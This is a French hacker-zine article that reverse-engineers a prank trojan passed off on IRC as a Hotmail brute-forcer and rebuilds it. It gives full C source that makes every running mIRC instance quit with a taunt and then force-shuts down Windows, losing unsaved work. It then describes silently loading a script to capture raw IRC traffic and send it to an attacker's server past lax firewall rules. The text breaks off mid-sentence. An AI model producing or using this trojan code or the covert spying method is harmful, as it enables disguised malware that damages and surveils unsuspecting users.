..                     ,.-..                     ,..,                                   
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ 15 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [  Really Lame Reverse Engeneering Paper   ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  Ninja   [     |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |



                                                                          

                                    RLREP

                                     aka

                    Really Lame Reverse Engeneering Paper

Résumé
    "Ninja Production Present" un texte peu technique, mais surement bien
    intéressant qui risque, que cela ne déplaise, de vous stimuler les
    neurones. Il y sera question de reverse engeneering et d'un feature
    vraiment trop exploitable de mIRC. Comme vous l'aurez surement deviné via
    le titre de ce texte, vous n'aurez pas droit à un cours très poussé,
    technique ou 1337. Mais l'avenue que j'ai utilisée pour reverser un petit
    programme sympa peut-être utilisé pour reverser n'importe quelle application
    d'un kiddy quelconque pour comprendre un peu plus comment il fonctionne.

Tables des matières
    1. Introduction

    2. Là où tout à commencé...
    3. What the...
    4. La mission
       4.1 Dernière étape
       4.2 Injection ??

       4.3 HOLY ou OLLY
    5. Play time!
    6. Conclusion

1. Introduction

    Ne vous est-il jamais arrivé de croiser un abrutie sur un canal quelconque
    qui demandait sans relâche une application pour hacker un compte hotmail,
    un crack pour une certaine application ou jeux, etc.? Que de frustration, si
    vous n'êtes pas opérateur du canal, de ne pas pouvoir exploser cette
    loque. Mais j'ai peut-être une alternative qui vous fera probablement
    sourire.

2. Là où tout à commencé...

    C'était une nuit chaude et sombre, étouffé par une humidité qui vous
    empêche d'être confortablement allongé dans votre lit.  Seul le bruit de
    quelques voitures pouvait se faire entendre au loin. C'était le genre de
    nuit où l'on souhaiterait ne simplement pas exister. Les secondes
    semblaient être des minutes. J'étais assis, le regarde fixe devant l'écran
    de mon ordinateur, le dos légèrement courbé. Je ne pouvais dormir et malgré
    mon immense désir de faire quelque chose, je me sentais paralysé. Comme
    certains cette nuit là, je m'étais connecté sur les serveurs Undernet et
    j'attendais que quelque chose se passe sur un des canaux que je fréquente.
    J'étais complètement hypnotisé par les très rares messages "join/part/quit"
    quand soudainement, venu de nul part, quelqu'un demanda un programme de
    hack. Voilà ma chance de me sortir de l'état pitoyable dans lequel j'étais
    prisonnier depuis trop longtemps cette nuit là.

    "Qu'entend-tu par prog de hacking?", lui dis-je.

    "j'veux hack un account hotmail", me répond-il.

    "Oh, je vois..."

    "c que g perdu mon pass pis je suis pu cap de lire mes email", me dit-il.

    J'étais sur le point de rétorquer, lui laissant savoir que s'il croit être
    le premier à clamer la perte de son mot de passe comme raison de piraté un
    compte homtail, il devait vraiment être abrutis quand, surgissant des
    profondeurs de l'IRC:

    "tien ça devrait faire la job:
    http://xxxxxx.xxx.xx/misc/hotmail_bruteforce.exe"

    "thx", s'empressa de répondre notre pirate en devenir.

    Il s'installa un silence froid, on aura pu entendre la lune tourner autour
    de la terre. Et puis quelques secondes plus tard:

    "OH NOOOOOO !!!!"
    loque_humaine quit (edcba)

3. What the...

    Bon, je suis désolé pour cette tentative d'écriture "thriller style". Mais
    je dois quand même avoir du plaisir à écrire sinon je n'écrirais tout
    simplement pas. Et je tien a dire "shut up" à tous ceux qui croient que ça
    serait mieux ainsi. Si vous avez été assez patient pour lire attentivement
    jusqu'ici, vous aurez surement compris que le petit prog que "edcba" à
    envoyé à notre wannabe hackeur était bien entendu un piège. Malgré que le
    programme ne fasse rien de bien méchant, il propage un message sur tous les
    canaux où la victime se trouve ("OH NOOOOOO !!!!"), termine la connexion au
    serveur IRC et finalement exécute un "force reboot" de la machine. Le
    "force reboot" étant probablement la partie la plus chiante, puisque,
    contrairement a un redémarrage normal, il n'attend pas que toutes les
    applications fermes correctement. Donc toutes modifications à des documents
    non sauvegardés son perdu. Symaptique n'est-ce pas?

4. La mission

    Trouvant l'idée très sympathique et étant en constante recherche de petit
    truc à coder, je me suis dit qu'il serait bien de reproduire les features
    de ce programme. Pas question de demander à edcba comment il avait fait
    parce que, premièrement, je tien à comprendre par moi-même avant tout, et
    deuxièmement, parce que je doute que j'aurais eu une réponse. Je vais
    diviser ce que fait le programme en étapes. Question de mieux cibler ce que
    l'on doit reproduire.

    1. Envoie un message sur tous les canaux
    2. Ferme la connexion au serveur avec un message spécifique
    3. Redémarre l'ordinateur (force reboot)

    On peut imaginer que réussir l'étape #1 implique automatiquement la
    réussite de l'étape #2. Donc, nous avons excatement deux (2) étapes à
    reproduire.

    4.1 dernière étape

        Pourquoi commencer par le commencement quand la fin est tellement plus
        facile. Je trouve plus motivant de faire des progrès rapidement et
        ensuite être bloqué que de n'avoir rien fait encore et d'être déjà
        bloqué. Comme mentionnée ci-dessus, la dernière étape consiste à
        redémarrer l'ordinateur. Une petite recherche bien effectuée sur google
        ou MSDN Library vous permet de trouver rapidement quel API l'on doit
        utiliser pour arriver à notre fin, j'ai nommé "ExitWindowsEx". Voici
        donc le prototype de notre fameuse API:

        BOOL WINAPI ExitWindowsEx(
            UINT uFlags,
            DWORD dwReason
        );

        Paramètres
            uFlags
                [in] Le type de fermeture.
            dwReason
                [in] La raison de l'initialisation de la fermeture.

        Pour le paramètre uFlags, nous allons utiliser la valeur suivante :

        EWX_SHUTDOWN - Ferme le système.

        En conjonction avec:

        EWX_FORCE - "[...] the system does not send the WM_QUERYENDSESSION
                    and WM_ENDSESSION messages. This can cause applications to
                    lose data. Therefore, you should only use this flag
                    in an emergency."

        Le paramètre dwReason doit être égale à zéro, raison de compatibilité.

        C'est maintenant le temps de tester notre application. Alors au code
        camarade.

==---------------------- test1.cpp ----------------------==

#define WIN32_LEAN_AND_MEAN #include <windows.h> int main() { ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return 0; }
Simple n'est-ce pas? Mais pas si vite mon ami! À moins que vous soyez très chanceux, rien ne devrait arriver suite à l'exécution de ce code. Pourquoi? Simplement parce que nous devons donner à notre processus le privilège SE_SHUTDOWN_NAME. Autrement, l'appel à la fonction ExitWindowsEx échoue. Une autre recherche sur MSDN Library s'impose. Notre recherche nous amène à trouver l'API suivante: AdjustTokenPrivileges Voici son prototype: BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength ); C'est ici que ça se corse. D'accord ce n'est pas si terrible, mais bon, j'aurais aimé que ça soit aussi simple que d'appeler simplement ExitWindowsEx. Premièrement, nous devons avoir l'accès TOKEN_ADJUST_PRIVILEGES si nous voulons activer ou désactiver un privilège. De plus, nous aurons besoin d'un handle sur un token préalablement ouvert. Encore une fois, nous devons effectuer une autre recherche sur MSDN Libray. Nous voici, maintenant, devant OpenProcessToken. BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle ); ProcessHandle - handle de notre processus. DesiredAccess - TOKEN_ADJUST_PRIVILEGES TokenHandle - pointeur vers le handle de notre token De retour à AdjustTokenPrivileges. Si l'on regarde la structure TOKEN_PRIVILEGES de plus près, on s'aperçoit que l'on a besoin de LUID du privilège désiré. Pour obtenir cette information, nous devons appler la fonction LookupPrivilegeValue. BOOL LookupPrivilegeValue( LPCTSTR lpSystemName, LPCTSTR lpName, PLUID lpLuid ); Maintenant nous sommes prêts pour donner à notre processus le privilège dont il a besoin pour appeler la fonction ExitWindowsEx. Au code! ==---------------------- test2.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN #include <windows.h> int main() { HANDLE hToken; TOKEN_PRIVILEGES tp; DWORD dwRet; // demande un token if ( !OpenProcessToken( GetCurrentProcess(), // handle du processus courant TOKEN_ADJUST_PRIVILEGES, &hToken ) ) { return 0; } // recherche le LUID du privilège SE_SHUTDOWN_NAME if ( !LookupPrivilegeValue( NULL, // recherche sur le système local SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid ) ) { CloseHandle(hToken); return 0; } tp.PrivilegeCount = 1; // une seul privilege a configurer tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // ajust le token selon les nouveaux privilèges demandés if ( !AdjustTokenPrivileges( hToken, FALSE, // ne PAS désactiver TOUS les privilèges &tp, 0, // comme PreviousState est NULL, on // mets 0 (PTOKEN_PRIVILEGES)NULL, // PreviousState 0 ) ) // 0 puisque PreviousState est NULL { CloseHandle(hToken); return 0; } dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel // CloseHandle. Cette dernière modifie le contenu // de GetLastError(); CloseHandle(hToken); if (dwRet != ERROR_SUCCESS) return 0; ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return 0; }
W00t! C'est fait. Notre programme, si tout se passe bien, va forcer Windows à redémarrer l'ordinateur sans avertir aucunes applications. Maintenant, passons aux choses sérieuses... 4.2
Injection ?? Je crois que tout le monde à un jour ou l'autre, a pris le mauvais chemin pour atteindre un objectif. C'est souvent ce qui arrive lorsque l'on voit tout comme étant surement complexe. Ou simplement quand on aime se compliquer la vie. Et ça a bien été mon cas ici. Je m'étais imaginé que pour arriver a ce que mIRC, via un programme externe, exécute des commandes qu'on lui spécifie, nous devions absolument injecter du code dans le processus mIRC chargé en mémoire. Après quelques jours de dur travail et de recherche sur le web, je me suis tanné. Pourquoi est-ce que je me fait chier autant à trouver une technique alors que si je regarde ce que le programme de edcba fait, il ne me restera plus qu'a comprendre le pourquoi. Et, je dois l'avouer, c'était le but premier de cet exercice. Alors au toilette saloperie d'injection. 4.3 HOLY ou OLLY Bow down before the power of HOLY... err, je veux dire OLLY. Avant que les religieux ne commencent à s'émoustiller, c'était un jeu de mots très plate sur la phonétique des deux termes. Il n'est pas question de religions ici. duh! Concentration s.v.p. OllyDbg (http://www.ollydbg.de/) est une application que j'apprécie énormément et qui vaut la peine d'être mentionné. Il s'agit en fait d'un débuggeur pour Windows. Deux choses très importantes à retenir: puissant et surtout, gratuit. Il est maintenant temps d'ouvrir le petit programme dont on cherche à reproduire les fonctionnalités sous OllyDbg. En à peine une seconde, nous avons droit à un spectacle magnifique: un listing assembleur 32-bit. En regardant le listing on peut voir le code que nous venons à l'instant de produire: [00401151] PUSH EBP MOV EBP,ESP ADD ESP,-14 LEA EAX,DWORD PTR SS:[EBP-4] PUSH EAX ; /phToken PUSH 28 ; |DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES CALL <JMP.&KERNEL32.GetCurrentProcess> ; |[GetCurrentProcess PUSH EAX ; |hProcess CALL <JMP.&ADVAPI32.OpenProcessToken> ; \OpenProcessToken TEST EAX,EAX JNZ SHORT mIRC_hig.0040116F XOR EAX,EAX JMP SHORT mIRC_hig.004011C4 LEA EDX,DWORD PTR SS:[EBP-10] PUSH EDX ; /pLocalId PUSH mIRC_hig.00409128 ; |Privilege = "SeShutdownPrivilege" PUSH 0 ; |SystemName = NULL CALL <JMP.&ADVAPI32.LookupPrivilegeValue>; \LookupPrivilegeValueA MOV DWORD PTR SS:[EBP-14],1 MOV DWORD PTR SS:[EBP-8],2 PUSH 0 ; /pRetLen = NULL PUSH 0 ; |pPrevState = NULL PUSH 0 ; |PrevStateSize = 0 LEA ECX,DWORD PTR SS:[EBP-14] ; | PUSH ECX ; |pNewState PUSH 0 ; |DisableAllPrivileges = FALSE PUSH DWORD PTR SS:[EBP-4] ; |hToken CALL <JMP.&ADVAPI32.AdjustTokenPrivilege>; \AdjustTokenPrivileges CALL <JMP.&KERNEL32.GetLastError> ; [GetLastError TEST EAX,EAX JE SHORT mIRC_hig.004011AE EAX,EAX JMP SHORT mIRC_hig.004011C4 PUSH 0 ; /Reserved = 0 PUSH 5 ; |Options = EWX_SHUTDOWN|EWX_FORCE CALL <JMP.&USER32.ExitWindowsEx> ; \ExitWindowsEx TEST EAX,EAX JNZ SHORT mIRC_hig.004011BF XOR EAX,EAX JMP SHORT mIRC_hig.004011C4 MOV EAX,1 MOV ESP,EBP POP EBP RETN J'ai enlevé les offsets et les opcodes qu'affiche OllyDbg simplement pour respecter un formatage de 80 caractères de large, voilà. Mais ce n'est pas ce que nous cherchons puisque nous l'avons déjà codé. Ce que nous cherchons c'est comment peut-on interagir avec mIRC via un programme externe. Nous parcourons donc le code à la recherche d'appel à des fonctions qui pourraient être des pistes intéressantes. JACKPOT!!!!! Voilà qui est fortement intéressant: [004011C8] PUSH EBP MOV EBP,ESP PUSH EBX PUSH ESI MOV ESI,DWORD PTR SS:[EBP+8] MOV EBX,DWORD PTR SS:[EBP+C] PUSH mIRC_hig.0040913C ; /Arg2 = 0040913C ASCII "/amsg OH NOOOOOO !!!!" PUSH EBX ; |Arg1 CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8 ADD ESP,8 PUSH 0 ; /lParam = 0 PUSH 1 ; |wParam = 1 PUSH 4C8 ; |Message = MSG(4C8) PUSH ESI ; |hWnd CALL <JMP.&USER32.SendMessageA> ; \SendMessageA PUSH mIRC_hig.00409152 ; /Arg2 = 00409152 ASCII "/quit Suicide. (edcba)" PUSH EBX ; |Arg1 CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8 ADD ESP,8 PUSH 0 ; /lParam = 0 PUSH 1 ; |wParam = 1 PUSH 4C8 ; |Message = MSG(4C8) PUSH ESI ; |hWnd CALL <JMP.&USER32.SendMessageA> ; \SendMessageA MOV EAX,1 POP ESI POP EBX POP EBP RETN 8 [00401218] PUSH EBP MOV EBP,ESP PUSH EBX PUSH ESI PUSH mIRC_hig.00409169 ; /MapName = "mIRC" PUSH 1000 ; |MaximumSizeLow = 1000 PUSH 0 ; |MaximumSizeHigh = 0 PUSH 4 ; |Protection = PAGE_READWRITE PUSH 0 ; |pSecurity = NULL PUSH -1 ; |hFile = FFFFFFFF CALL <JMP.&KERNEL32.CreateFileMappingA> ; \CreateFileMappingA MOV EBX,EAX TEST EBX,EBX JE SHORT mIRC_hig.0040126D PUSH 0 ; /MapSize = 0 PUSH 0 ; |OffsetLow = 0 PUSH 0 ; |OffsetHigh = 0 PUSH 6 ; |AccessMode = 6 PUSH EBX ; |hMapObject CALL <JMP.&KERNEL32.MapViewOfFile> ; \MapViewOfFile MOV ESI,EAX TEST ESI,ESI JNZ SHORT mIRC_hig.00401256 PUSH EBX ; /hObject CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle JMP SHORT mIRC_hig.0040126D PUSH ESI ; /lParam PUSH mIRC_hig.004011C8 ; |Callback = mIRC_hig.004011C8 CALL <JMP.&USER32.EnumWindows> ; \EnumWindows PUSH ESI ; /BaseAddress CALL <JMP.&KERNEL32.UnmapViewOfFile> ; \UnmapViewOfFile PUSH EBX ; /hObject CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle POP ESI POP EBX POP EBP RETN On remarque que les API SendMessage, CreateFileMapping, MapViewOfFile et EnumWindows sont utilisés dans la transmission des commandes que l'on désire que mIRC exécute. Maintenant il ne reste plus qu'à comprendre comment sont utilisées ces fonctions. Première étape à la compréhension et résolution de problème c'est de savoir ce que fait chaque partie du puzzle. Donc on doit savoir, qu'est-ce que SendMessage fait exactement, même chose pour CreateFileMapping et les autres API en jeux. L'API EnumWindows énumère tous les "top-level windows" et ignore les "child windows". Pour chaque fenêtre, elle passe le handle cette dernière à une fonction callback définie par l'utilisateur. Dans la situation actuelle, la fonction callback est située à l'adresse suivante: 004011C8. Qui se trouve à être là où l'on trouve les chaines que l'on veut envoyer à mIRC et où se trouvent les deux appels à la fonction SendMessage. La fonction SendMessage envoie un message spécifié à une ou plusieurs fenêtres, le message étant une valeur numérique. Les messages système ont une valeur inférieure à WM_USER-1, donc de 1023 (1024 étant la valeur de WM_USER). Une application peut aussi définir c'est propre message en autant qu'elle utilise les valeurs supérieures ou égales à WM_USER. Exemple de message système: WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_KEYDOWN, WM_DESTROY, WM_COMMAND, ... Or dans notre cas présent, on constate que le message envoyé via SendMessage dans le programme ci-dessus à la valeur 4C8 qui est la représatation hexadécimal de la valeur 1224. Donc, le programme communique avec mIRC via un message probablement défini par mIRC. Puisque la valeur du message est de 1224 (4C8), ce message ne fait pas référence à un message système déjà existant, mais probablement à un message définie par l'application ciblée, dans notre cas mIRC. Il nous faut trouver aussi que représentent les deux autres paramètres de l'API SendMessage. Leur valeur respective étant 1 et 0. Nous y reviendrons plus tard. CreateFileMapping est une fonction qui permet de créer un fichier qui pourra être partagé (lecture et/ou écriture) entre processus. C'est une façon, mais efficace de partager des données entre processus. CreateFileMapping crée, si le fichier n'existe pas déjà, ou ouvre un fichier selon le nom spécifié. Or dans le listing ci-dessus, la fonction CreateFileMapping tante que créer ou d'ouvrir un fichier sous le nom de "mIRC". Il se pourrait donc, sachant qu'un fichier mappé peut être partagé entre processus, que mIRC créer ce fichier lui-même lors de son exécution. MapViewOfFile permet à une application d'avoir accès a un fichier mappé, préalablement ouvert avec OpenFileMapping ou CreateFileMapping, dons son propre espace mémoire. La fonction retourne l'adresse du buffer que nous pourrons utiliser pour écrire les données dans le fichier mappé. Vous avez peut-être remarqué, et si ce n'est pas le cas je vous en informe à l'instant, que les commandes que nous voulons que mIRC exécute sont passé en paramètre a une fonction locale du programme se trouvant à l'offset suivant 004022F8. Je ne vous montrerai pas le code mais en gros, elle copie la chaine spécifiée dans un buffer. Ce buffer se trouve à être le fichier mappé dont on à obtenu l'adresse mémoire via MapViewOfFile, comme expliqué auparavant. Il ne nous reste plus qu'à vérifier si mIRC crée bel et bien un fichier mappé nommé mIRC. Il existe probablement de meilleures façons ou des outils spécifiques qui nous permettraient d'avoir la liste des fichiers ouverts par un processus. Mais nous allons utiliser encore notre bon ami, Ollydbg. Alors, on ouvre mIRC avec notre cher débuggeur. Et on recherche les fonctions CreateFileMapping ou OpenFileMapping. KABOUM!! [004E1D40] SUB ESP,8 PUSH EBX PUSH EBP MOV DWORD PTR SS:[ESP+8],EDX MOV EBX,ECX CALL mIRC.004E9750 MOV EBP,EAX TEST EBP,EBP JNZ SHORT mIRC.004E1D5E POP EBP POP EBX ADD ESP,8 RETN 4 TEST EBX,EBX JE SHORT mIRC.004E1D6A CMP EBX,DWORD PTR DS:[5C6688] JNZ SHORT mIRC.004E1D6D MOV EBX,DWORD PTR SS:[EBP] PUSH ESI PUSH EDI mIRC.00594810 ; /MappingName = "mIRC" PUSH 1 ; |InheritHandle = TRUE PUSH 0F001F ; |Access = F001F CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA MOV ESI,EAX TEST ESI,ESI MOV DWORD PTR SS:[ESP+14],ESI JE SHORT mIRC.004E1DAA PUSH 0 ; /MapSize = 0 PUSH 0 ; |OffsetLow = 0 PUSH 0 ; |OffsetHigh = 0 PUSH 0F001F ; |AccessMode = F001F PUSH ESI ; |hMapObject CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile MOV EDI,EAX TEST EDI,EDI JNZ SHORT mIRC.004E1DB6 PUSH ESI ; /hObject CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle POP EDI POP ESI POP EBP XOR EAX,EAX POP EBX ADD ESP,8 RETN 4 MOV EAX,DWORD PTR SS:[ESP+10] XOR ESI,ESI CMP EAX,4C8 JNZ SHORT mIRC.004E1DF8 MOV EAX,DWORD PTR SS:[ESP+1C] TEST AL,1 JE SHORT mIRC.004E1DD8 AND AL,4 NEG AL SBB EAX,EAX AND EAX,5 MOV ESI,EAX JMP SHORT mIRC.004E1DE5 TEST AL,2 JE SHORT mIRC.004E1DE5 MOVZX ESI,AL AND ESI,4 OR ESI,3 PUSH EBP PUSH 0 PUSH 0 PUSH ESI PUSH 0 MOV EDX,EDI MOV ECX,EBX CALL mIRC.0043F030 JMP SHORT mIRC.004E1E0E PUSH EBP ; /Arg7 PUSH 0 ; |Arg6 = 00000000 PUSH 0 ; |Arg5 = 00000000 PUSH 0 ; |Arg4 = 00000000 PUSH 0 ; |Arg3 = 00000000 PUSH 0 ; |Arg2 = 00000000 PUSH 0 ; |Arg1 = 00000000 MOV EDX,EDI ; | MOV ECX,EBX ; | CALL mIRC.004A0030 ; \mIRC.004A0030 TEST EAX,EAX JE SHORT mIRC.004E1E17 MOV ESI,1 PUSH EDI ; /BaseAddress CALL DWORD PTR DS:[<&KERNEL32.UnmapViewO>; \UnmapViewOfFile MOV EAX,DWORD PTR SS:[ESP+14] PUSH EAX ; /hObject CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle POP EDI MOV EAX,ESI POP ESI POP EBP POP EBX ADD ESP,8 RETN 4 On a trouvé. La fonction OpenFileMapping est présente. Cela nous apprend que mIRC ne crée pas ce fichier au démarrage. Donc, il doit probablement le lire lorsqu'il reçoit un message via SendMessage(). Maintenant on pourrait débugger mIRC afin de savoir à quoi servent les arguments que l'on envoie via SendMessage et pourquoi on écrit les données dans un fichier partagé. Même si l'on peut imaginer que le message envoyé par SendMessage informe mIRC qu'il y a des données à être lu dans le fichier mappé. Mais comme il semblerait que ce soit une fonctionnalité intégrée dans mIRC, il est fort à parier que nous trouverons les informations manquantes dans le fichier d'aide. Petite recherche avec le mot SendMessage nous amène sur un page nous expliquant comment d'autres processus peuvent communiquer avec mIRC. Voici la traduction de la page d'aide trouvé dans le fichier mirc.hlp: SENDMESSAGE Les applications peuvent désormais utiliser SendMessage() pour communiquer avec mIRC. EXECUTER DES COMMANDES L'appel suivant de la fonction SendMessage() informe mIRC qu'il doit exécuter la commande spécifié. SendMessage(mHwnd, WM_MCOMMAND, cMethod, 0L) mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre d'un 'Channel', d'un 'Query', etc. WM_MCOMMAND - qui doit être définie comme étant WM_USER + 200 cMethod - comment mIRC doit traiter le message, comme: 1 = si il était tapé dans un 'editbox' 2 = si il était tapé dans un 'editbox', 'send as plain text' 4 = utilise la protection contre le flood d'mIRC si activé, peut être employé avec 1 ou 2. EVALUER LES IDENTIFIANTS ET LES VARIABLES L'appel suivant à la fonction SendMessage() informe mIRC qu'il doit évaluer le contenu de toutes les lignes spécifié. SendMessage(mHwnd, WM_MEVALUATE, 0, 0L) mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre d'un 'Channel', d'un 'Query', etc. WM_MEVALUATE - doit être définie comme étant WM_USER + 201 FICHERS MAPPÉS Les applications qui envoient ses messages doivent créer un fichier mappé nommé mIRC avec CreateFileMapping(). Quand mIRC reçois les messages précédents, il va ouvrir ce fichier et utiliser les données qu'il contient pour exécuter la commande ou l'évaluation. Dans le cas d'une évaluation, mIRC va écrire le résultat dans le fichier mappé. Le fichier mappé doit avoir un gosseur d'au moins 1024 octects. Pour prévenir les accès multiples au fichier mappé, votre code doit vérifier si le fichier existe ou non avant de l'utiliser. Si il existe, vous devriez assumer que ce fichier est utilisé par un autre programme et réessayer plus tard. Voilà qui confirme notre hypothèse. N'est-ce pas merveilleux? Passons au code maintenant. ==---------------------- test3.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define MAX_CNAME_SIZE 512 #define MAX_FILEMAPPING_SIZE_LOW 1024 TCHAR g_tcsClassName[] = _T("mIRC"); BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam); BOOL myshutdown(); int main() { EnumWindows(&ewcallback,(LPARAM)g_tcsClassName); myshutdown(); return 0; } BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam) { TCHAR tscCName[MAX_CNAME_SIZE]; TCHAR tscMsg[] = _T("/.quit Damn it! Owned by Mindkind"); HANDLE hFile; LPVOID lpBaseAddress; GetClassName(hwnd, tscCName,MAX_CNAME_SIZE); if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) { hFile = CreateFileMapping( INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MAX_FILEMAPPING_SIZE_LOW, tscCName ); if ( hFile ) { lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0); if (lpBaseAddress) { // On copy notre chaine dans le fichier... CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg)); // On avertit mIRC qu'il y a des données dans le fichier SendMessage(hwnd,WM_USER+200,1,0); // unmap la view UnmapViewOfFile(lpBaseAddress); } CloseHandle(hFile); } } return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue // l'énumération des fenêtres. } BOOL myshutdown() { HANDLE hToken; TOKEN_PRIVILEGES tp; DWORD dwRet; // demande un token if ( !OpenProcessToken( GetCurrentProcess(), // handle du processus courant TOKEN_ADJUST_PRIVILEGES, &hToken ) ) { return FALSE; } // recherche le LUID du privilège SE_SHUTDOWN_NAME if ( !LookupPrivilegeValue( NULL, // recherche sur le système local SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid ) ) { CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; // un seul privilège a configuré tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // ajust le token selon les nouveaux privilèges demandés if ( !AdjustTokenPrivileges( hToken, FALSE, // ne PAS désactiver TOUS les privilèges &tp, 0, // comme PreviousState est NULL, on // mets 0 (PTOKEN_PRIVILEGES)NULL, // PreviousState 0 ) ) // 0 puisque PreviousState est NULL { CloseHandle(hToken); return 0; } dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel // CloseHandle. Cette dernière modifie le contenu // de GetLastError(); CloseHandle(hToken); if (dwRet != ERROR_SUCCESS) return FALSE; ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return TRUE; }
Voilà, pour chaque instance de mIRC, notre programme va déconnecter la victime du serveur avec comme message "Damn it! Owned by Mindkind". Une fois que EnumWindows a terminé, le programme va forcer Windows à redémarrer. 5. Play time! Je pense personnellement que cette section est la plus intéressante. Maintenant que nous connaissons cette fonctionnalité, il ne nous reste plus qu'à l'exploité de façon plus agressive, tout en restant furtif, contrairement à ce que nous avons fait jusqu'à maintenant dans l'exemple précédent. Comme nous l'avons constaté, nous pouvons faire exécuter n'importe quel commande à mIRC. Nous pouvons donc lui dire de charger un script en particulier, disons virii.mrc. Pour indiquer à mIRC de charger un script, nous devons utiliser la commande 'load' avec comme options les switches '-rs' et spécifier le nom du fichier script à charger. Dans notre exemple ce sera: /.load -rs virii.mrc Nous exécutons la commande 'load' en mode silencieux (/.) sinon la commande affiche qu'elle à chargé un fichier nommé virii.mrc. Vous devez prendre note que le fichier virii.mrc ne se retrouvera probablement pas dans le répertoire de mIRC, vous devez donc spécifier le chemin complet du fichier. <IMPORTANT> La majorité des utilisateurs qui possèdent un par-feu pour se protéger ne prenne pas le temps de créer les règles, ils ne font que cliquer sur 'ok' ou 'accept' losrque leur par-feu leur signala qu'une application tente de se connecter à internet. Et ils sont encore moins suspicieux s?ils connaissent l'application. Les autres, ceux qui ont pris le temps de faire des règles les font trop souples. Exemple, vous voulez autoriser mIRC à se connecter à un serveur IRC. Je vous demande d'être franc ici, est-ce que vous spécifiez quels serveurs vous autorisez ou vous dis simplement: n'importe quel ip tant que le port de l'hôte soit entre 6666-7000 ? Je suis près à mettre ma main au feu que la quasi totalité opte pour la deuxième option. Gardez cette pensée en tête pour le reste de cet article. </IMPORTANT> Le script virii tente de se connecter à un serveur IRC via les sockets mIRC à chaque connexion a un serveur IRC effectué par la victime. Si le serveur choisi par la victime est le même que notre serveur, le script n'essaie pas de se connecter à ce dernier via les sockets mIRC. Une fois la victime connectée à un serveur, le script lance la capture des données envoyées et reçues. La commande 'debug', fournie par mIRC, nous permet de voir les données crues (RAW), telles qu'elles sont envoyées par le serveur avant que mIRC ait la chance de les traiter. On voit aussi les données envoyé 